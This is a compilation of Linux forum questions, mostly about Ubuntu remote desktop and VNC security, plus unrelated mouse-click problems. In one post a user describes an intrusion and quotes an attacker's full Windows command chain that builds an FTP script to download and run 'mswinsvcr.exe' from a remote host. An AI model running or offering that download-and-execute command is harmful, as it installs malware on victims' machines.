Ubuntu Security :: Remote Desktop Allow Button Auto Click?
Oct 14, 2010
I have a home LAN server with Ubuntu Desktop edition 10.10 and I'm having a problem with remote desktop application. For now I have a monitor on that machine, but in the future it's gonna be only the box, without any periferal devices. When I try to log in via UltraVNC from Windows XP, on Ubuntu server a little window pops up, asking me to allow or refuse this "invader", so I click Allow and I really have full control on that machine. However, when I dont have any devices I wouldnt be able to click this Allow button, but will have to have full control. So, my question is how to autoclick this Allow button? Or when I try to log in the ubuntu machine, it would automatically give me full control?
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Jul 6, 2010
I always use VNC to check my server for updates, and this morning I started the xvnc4viewer to vnc into my server and it keep asking for a password. I never setup a password because I do this local from my laptop, and I am the only one who uses my laptop. I had to go to my server and check the setting in System > Preferences > Remote Desktop and found them all changed. There was a password setup and there was a check mark in the you must confirm each access to this machine there some security update that changed all these setting? Sometimes when I do updates I don't know what is being changed on my server
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Mar 24, 2010
So I've read a bit and it seems that this is okay and secure. But I wanted to double check here with everyone, because I trust here more than just about anywhere. I've read about the hipporemote (which is pretty cool) and I have it working. Basically I want to make sure my system is still secure.
1. I had to open a port on my firewall for the VNC connection.
2. I turned on the Remote Desktop
2a. Checked Allow other users to view....
2b. Checked Allow other users to control....
2c. Checked You must confirm.....
2d. Checked for password, and put in a password
2e. Checked Configure network automatically to accept connectios
So with doing all of that, am I ok? I think so, especially since it says its only accessible on my local network. But I just wanted to hear from people who know more than I do that I don't need to worry any more than normal about others accessing my machine. I'm mainly thinking 2e, I don't fully understand what's going on there.
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Aug 12, 2010
Set up a lab full of Lucid boxes that authenticate against the main university Sun ldap server and create local, limited, homedirs if they don't already exist.
The ldap server is freely accessible on our network and does not require authentication to do a query. Users will not be able to make changes on the ldap server from these workstations. I cannot set up homedirs of users manually - any one of 15,000 people could walk in and use one of these machines.
What I've got working so far: Authentication works, but when I log in through GDM, after a few errors, I get nothing but a blank desktop (with wallpaper and cursor). If I log in as a local user and su to an ldapuser I get assigned a home directory at /, which explains the errors; this kind of user can't write to /. I've seen posts on this but nothing that works for me.
The problem, as I've identified it: I'm using pam_mkhomedir to create home directories on first login, but I don't seem to have any way of telling pam_mkhomedir *where* to create the home directories. I've tried to use the nss_map_attribute in /etc/ldap.conf (like this: nss_map_attribute homeDirectory "/home/users/"uid), but my syntax is all guesswork - I can't seem to find anyone else trying to mangle a homedir this way.
Most either don't deal with the homedir thing at all, or if they do, they only cover nfs/smb shares.
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Mar 21, 2010
Today I noticed my Desktop was being controlled remotely from over the Internet even though I had it set for 'local network only'. Foolishly I relied on this setting and hadn't specified a password or other security. The remote user had opened my Firefox passwords page and was perusing this when I pulled the plug.
All external checks confirmed that my router/firewall is actively blocking correctly. How could this happen? How can I prevent this in the future? I had recently install the Firefox extension for Weave Sync and wonder if that had anything to do with it?
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Nov 26, 2010
I just had a window pop up on my desktop saying my pc was being remotely controlled. Ubuntu 10.10The pc shutdown by itself, and I disconnected it from the net.I rebooted and uninstalled the remote desktop app.
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Feb 16, 2010
I am attempting to set up a VNC with ssh tunneling for remote desktop between my laptop (opensuse 11.2) and my desktop (kubuntu karmic) and using the instructions here: [URL] and here: [URL] but I am having trouble getting remote desktop to work once I establish the ssh tunnel
I start out with
Code:
ssh <user@remotepc> -p <non22port> -L 5900:localhost:5900
That seems to wok and connect properly
The problem comes when I try to use a remote desktop client on the laptop to initiate the VPN desktop sharing and point it to
Code:
localhost:5900
Thats when I get a notification on the host saying:
Code:
Refused uninvited connection attempt from 127.0.0.1
And on the laptop I get:
Code:
VNC server closed connection
I have tried messing with the few settings in Krfb, but none seem to have any impact. How do I open localhost:5900 and allow VPN tunneling to the host machine?
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Jun 5, 2011
I was sitting watching a TV show on the internet (streaming from channel 4) and all of a sudden I get a request from an unknown IP address, outside of my local network attempting to access my ubuntu desktop, I obviously declined straight away and stupidly didn't take note of the IP I've checked my firewall settings and no ports are being forwarded, everything is as it should be. I am running Ubuntu 11.04, and a little bit concerned. As of now I have completely disabled remote desktop on my laptop.
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Aug 1, 2011
I have been using Remote desktop on Windows 7 to view and control my Ubuntu machine in the office quite happily over the office network. No problems there. I wanted to access it from my home connection so I read that I could do this by opening a port on the ubuntu machine's firewall. So I installed a firewall. Didnt see any way to open a port easily so I uninstalled it and installed another one. Same issue so I uninstalled that and then left it. I then tried to Remote Desktop the Ubuntu machine from my Windows 7 laptop and ERROR I can no longer connect.
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Apr 27, 2010
I was working on my desktop under Ubuntu 9.10 when I got a message in the the upper right telling me that my Remote Desktop Connection had been activated. I don't know who it was, but they proceeded to open up a terminal and start typing a bunch of stuff. This scared the living @#$^ out of me, so I didn't really pay attention to what he was doing and immediately dove for the reset button. I disconnected my network from the web and found that RDC was NOT password protected.
Now, I probably did this a little while ago while I was playing around with it, but I also set up an account with dyndns.org. Would this possibly increase the number of attacks on my network? Just in case, I have removed my listing. Also, would any of this incident be logged somewhere? How/Where would I look to see if I'm being poked and prodded for another security hole?
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Dec 30, 2010
host always ask password on 1st remote desktop (VNC) access Desktop version... how can I disable this?
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Jul 20, 2010
I was running ubuntu 10.04 on a school laptop connected to the network. I was editing a file in emacs on an ssh connection to a school server when all of a sudden I see the remote desktop graphic (a thing that looks like a widescreen monitor) pop up in the top panel. A second later it announces that someone else has connected to my computer with 'ffff:someip'. I'm not sure of the specifics because I was too shocked. I do remember it started with some number of f's before a : The hacker then started typing
Code:
%systemroot%system32cmd.exe
del eq&e
I promptly yanked out the ethernet cable before anything else could be typed. I then went in and changed the Remote Desktop preferences to not allow anyone in. I'm guessing that I cut the hacker off from fully entering in a command similar to this:
Code:
%systemroot%system32cmd.exe
del eq&echo open 0.0.0.0 13643 >> eq&echo user 13302 30046 >> eq &echo get
mswinsvcr.exe >> eq &echo quit >> eq &ftp -n -s:eq &mswinsvcr.exe &del eq
which I found here: [URL]
How concerned should I be? It appears to be a windows hack. Did I prevent any damage from occurring? Is Remote Desktop really that easy to connect to another persons computer? I know this question is bait in a way. On my home machines I only allow vnc via ssh tunnels and that is through a router with proper port forwarding for the ssh ports and very few other ports forwarded. Such an attack has never happened to me at home. Is this possibly due to my setup or was I just lucky no one picked my computer to hack? So is the ssh tunnel & port forwarding a sufficiently safe setup or am I still at risk?
What degree of protection does the ssh tunnel and port forwarding provide? What else should I do to make my current home setup even more secure? The text I wrote above was the only text typed into the terminal. Because the attack was over Remote Desktop, what is the possibility that it was a bot? The text appeared slow enough for me to think that there was a person rather than a machine/program typing in the text. Does the Remote Desktop connection in a way provide a level of abstraction that prevents scripts as commands must be typed in through the Remote Desktop connection (vs. a ssh connection where a script might more easily be uploaded and executed)?
In the end I'm curious as to what else might have been accessed over the connection or if it was probably just restricted to the hacker attempting to run some windows commands? Since they connected via Remote Desktop and I saw the connection pop up and the typing begin in my terminal, did I see everything that the hacker attempted to perform? Am I correct in my research in finding that there is no log for Remote Desktop connections and therefore I can't find the ip they were connecting from? However, I would like to use this as a wake up call to myself to prevent unwanted access on my home computers.
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Apr 30, 2011
After I adjust my slackware and rebooted I saw a strange "rectangle" on my desktop. Please, look at the screenshots below and tell me how I should solve this problem.
I can't move it. Right-click menu on a rectangle coincides with a right-click on desktop. It does not prevent, but very annoying.
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Jan 6, 2011
I recently installed 32bit maverick and wanted to make it login automatically. I tried enabling auto login from Admin > Login but that didnt work and I was still prompted for my password. Then I went to Users & Groups and changed the password option to Do Not ask for password at login now after I reboot, the user list is shown (only 1 user) and it doesnt ask for password after I click on my username.
However, then it gives a few errors (as i vaguely recall):
1. cannot load .ICE directory in my home directory
2. some error 256 about a gconf-sanity-2 file
3. nautilus cannot load my home directory etc
and then it gets stuck without loading anything (blank wallpaper). i ve tried navigating to my home directory using Alt F2, gksudo nautilus and my home dir contents are encrypted by the ecryptfs (there is a readme.txt file and a shortcut). i have tried to decrypt but it doesnt work... i ve also tried to start/stop gdm, and startx but nothing works. if i stop gdm, then the prompt doesnt recognize my password and keeps on rejecting the commands i enter... I think this has something to do with the home dir not being decrypted due to the dont ask for paswd option... how can i disable the dont ask for pwd without the gui (i can access my / by booting through an external usb).
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Apr 17, 2010
When I click on the OpenOffice button in my panel, the window comes to the front, but the focus is still on the last window; so clicking on the OpenOffice button again will not minimize it, typing will not key anything into the document, and clicking on the last app's button will minimize that one instead of switching to it. I might also ask the OpenOffice community in case this is an OO issue. I also might need to switch to AbiWord. OO is an annoying application.
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Jun 7, 2010
I can think of a lot of different situations when being able to "autoclick" would be really useful. By autoclick, I mean that I want to be able to hold down the left-click button and have it rapidly clickity clickity clickity as fast as the processor can handle.
One example is games where I have a semi-automatic weapon and I have to hammer the mouse button with my finger. It would be nicer to reduce the wear and tear on my trackpad.
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Jun 21, 2010
I have successfully mapped the plus-minus key on the keyboard to emulate the Wheel/Middle Mouse Button click with this shell script run at startup:
Code:
#!/bin/sh
xmodmap -e "keycode 49 = Pointer_Button2"
xkbset m
This is so I can rotate the view in Blender without clicking the wheel, because the wheel also zooms, and it's too easy to zoom inadvertently. The remaining problem is panning, a Shift-MMB combination. Now I'm lost - how can I map a key (or better still, a Shift-key combo) to the Shift-MMB click?
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Jul 25, 2010
I would like to assign right-mouse-click behaviour to a hardware button. I can associate a keypress, or a combination of keypresses with an "xdotool click 3" command via the Gnome keyboard shortcuts.
I have the scancode of the hardware button so can use
setkeycodes scancode keycode
to mimic any key of my keyboard. However, I don't want the hardware button to mimic a single key of my keyboard that is already in use, since then the keyboard key will also activate xdotool.
So I think I need:
- either a way to associate that particular scancode with an (outlandish) keypress combo rather than a single keypress;
- or a keycode which is not currently in use, to bind to the scancode. Are there any like that and how would I find out? In the Gnome Keyboard Shortcuts list there is stuff like "XF86AudioMedia" which I'm not using -- but does that correspond to a numerical keycode value which setkeycodes understands?
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Aug 20, 2010
My eeepc 900 works well in general, i am very happy with it, and mostly with lucid. But I suddenly ,3 days ago, discovered that my left click button doesn't work anymore. Could it be software related?It happened on my 700 surf for a little while, but before I could really get worked up, it had resolved itself. btw my 900 is maybe old but has not till I aquired it seen much use, I doubt it could be from overuse, but then again, you never know..
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Mar 1, 2011
On this step(Picture down) Im unable to click "Forward" button, and finish the installation.
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Apr 10, 2009
I'm attempting to install lFedora 10 from a live cd. I already finished the installation process. But when I reboot to finish the post installation information I can't click the forward button to continue because the screen resolution is to low on my LCD. I can't see the forward button to click in the lower right hand corner. I found out if I just hit the enter button I got through the "Welcome" and "License Information" part but when I get to the "Create User" part after I Confirm my password the pressing the enter button doesn't work. And of course I can't see the "Forward" button to click. Is there some way to go in text mode?
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May 16, 2010
When I install CentOS 5.5 into vmware workstation, My mouse can move but unable to click.
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May 11, 2010
I want to be able to auto scroll by clicking my middle mouse button. In Firefox you can do this in the about:config easily, but with Google Chrome, I don't know what to do.
There is no Chrome option to allow this, so I guess I'd have to configure some stuff. Does anyone know how to do this? I really prefer Chrome over Firefox, and would like to go back to it, but can't without auto scroll.
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Aug 29, 2010
1. Where do I post reports of minor bugs?2. I think I found a minor bug...When you first install Ubuntu and log in. If you of the applet thing on the top bar and click the edit button next to 'Locations' the clock preferences will pop-up.Now if you click on the general tab you will see by default that the clock applet thing should show you the time,temperature and weather...Yet if you look and the applet there is no notification of the of the temperature and weather.I tried to see if un-checking them and closing then opening them up again and re-checking would work but that has no effect.I think this is a minor bug in ubuntu and/or gnome and I would like and update and/or for Ubuntu Maverick Meerkat to correct this.
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Apr 22, 2011
I've been using this feature since Win3.1 days. Double-click the menu button on the top-left of the window to close it.It doesn't work for me right now in KDE, and I can't find any option to enable it. Googling gave a few hits of people requesting this feature in gnome, but no clear instructions on how to enable it in KDE or whether it's possible. (Though perhaps my Google-fu is just weak...)
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Sep 1, 2010
I want to add auto hide button or check-box to a panel. any way to do it ?
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Jul 5, 2011
I like to use wget to click a javascript button on this page
page:
[URL]
button:
Update (Add to Queue)
bin trying
Code:
wget --post-data="updbutton" [URL]
But it aint working. I am not WinslowLee420 he is just the top player on the leaderboard.
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Aug 3, 2010
how do you download the Mandrive Linux 2010.1 from here I have gone to the site and there's and download button but you cant click on it What anti virus Software is best for Ubuntu 10.04 and Mandrive 2010.1
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Apr 6, 2011
I'm running Slackware64-current. The newsreader pan crashes in the moment when I click the send-button. The message is sent anyway.
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Feb 24, 2010
I would like to use the command key to enable center mouse click by hitting the sequence 'command key, button1'
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